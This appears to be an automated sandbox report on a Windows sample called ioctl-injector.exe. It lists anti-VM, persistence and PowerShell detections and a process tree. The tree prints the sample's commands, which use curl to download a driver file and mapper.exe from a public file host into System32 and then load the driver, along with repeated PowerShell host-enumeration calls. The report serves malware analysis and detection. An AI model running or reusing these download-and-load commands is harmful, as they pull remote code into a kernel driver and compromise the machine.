Overview

overview

9

Static

static

3

ioctl-injector.exe

windows10-2004-x64

9

ioctl-injector.exe

windows11-ltsc_2024-x64

9

Analysis

  • user interaction
    yes
  • max time kernel
    107s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/06/2026, 12:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ioctl-injector.exe
  • Size 1.1MB
  • Sample260626-pgmxaaa18w
  • SHA256 dab492cd3c75ea3040fb693ca245391577b00d787447bd29b93153b07a097d73
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
adwaredefense_evasionexecutionpersistencespyware

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
    defense_evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    defense_evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    defense_evasion
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 34 IoCs

    Using powershell.exe command.

    execution
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\ioctl-injector.exe
    "C:\Users\Admin\AppData\Local\Temp\ioctl-injector.exe"
    1⤵
    • Enumerates VirtualBox registry keys
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Checks BIOS information in registry
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4836
      • C:\Windows\system32\curl.exe
        curl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys
        3⤵
          PID:4204
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3736
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:2260
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:5560
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1268
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:5972
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5100
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:6048
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1032
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:2960
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1436
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:4156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:3148
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe >nul 2>&1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2664
        • C:\Windows\system32\curl.exe
          curl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe
          3⤵
            PID:5840
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5784
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:3708
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1052
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5764
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4640
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2068
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:1280
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5768
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2168
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2344
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4624
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5396
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5308
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4940
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4144
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c echo. | C:\Windows\System32\mapper.exe C:\Windows\System32\driver_mapped.sys
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4948
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo. "
            3⤵
              PID:3732
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5180
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              PID:5184
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4260
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              PID:2512
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
            2⤵
              PID:4368
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                PID:3756
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
              2⤵
                PID:2720
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2864
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                2⤵
                  PID:4124
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:4180
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                  2⤵
                    PID:1564
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                      3⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:2164
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                    2⤵
                      PID:4892
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:3732
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                      2⤵
                        PID:956
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                          3⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:1036
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                        2⤵
                          PID:5136
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                            3⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:5744
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                          2⤵
                            PID:4264
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                              3⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:3844
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                            2⤵
                              PID:4668
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                3⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:5748
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                              2⤵
                                PID:5920
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:3532
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                2⤵
                                  PID:3548
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    PID:2960
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                  2⤵
                                    PID:2752
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:2272
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                    2⤵
                                      PID:5076
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                        3⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:4724
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                      2⤵
                                        PID:1748
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                          3⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          PID:1096
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                        2⤵
                                          PID:2888
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            PID:1440
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                          2⤵
                                            PID:4200
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"
                                              3⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              PID:5932
                                        • C:\Windows\system32\sihost.exe
                                          sihost.exe
                                          1⤵
                                          • Suspicious use of FindShellTrayWindow
                                          • Suspicious use of WriteProcessMemory
                                          PID:3812
                                          • C:\Windows\explorer.exe
                                            explorer.exe /LOADSAVEDWINDOWS
                                            2⤵
                                            • Boot or Logon Autostart Execution: Active Setup
                                            • Enumerates connected drives
                                            • Checks SCSI registry key(s)
                                            • Modifies Internet Explorer settings
                                            • Modifies registry class
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            • Suspicious use of SetWindowsHookEx
                                            PID:260
                                        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                          1⤵
                                          • Modifies registry class
                                          • Suspicious use of SetWindowsHookEx
                                          PID:3976
                                        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                          1⤵
